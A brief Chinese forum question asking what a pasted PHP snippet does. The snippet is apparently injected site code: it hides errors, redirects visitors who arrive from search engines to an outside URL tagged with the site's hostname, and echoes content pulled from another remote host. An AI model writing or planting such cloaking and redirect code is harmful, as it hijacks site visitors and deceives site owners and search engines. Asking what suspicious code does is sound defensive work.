请教这段代码是做什么用的

请问这段代码是做什么用的？

PHP code

<!--

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<?php error_reporting(0);
header("content-Type: text/html; charset=gb2312");
function isSpider($v)
{
        $spiders=array("baidu.com/","google.com","so");
        $i=0;
        foreach ($spiders as $i => $value) {
            if(stristr($v,$spiders[$i])){return true;}
        }
        return false;
}
    if(isSpider($_SERVER['HTTP_REFERER']))
    {
    Header("Location: ".'http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma='.$_SERVER['SERVER_NAME']);
        exit;
    }
echo file_get_contents('http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php');
?>

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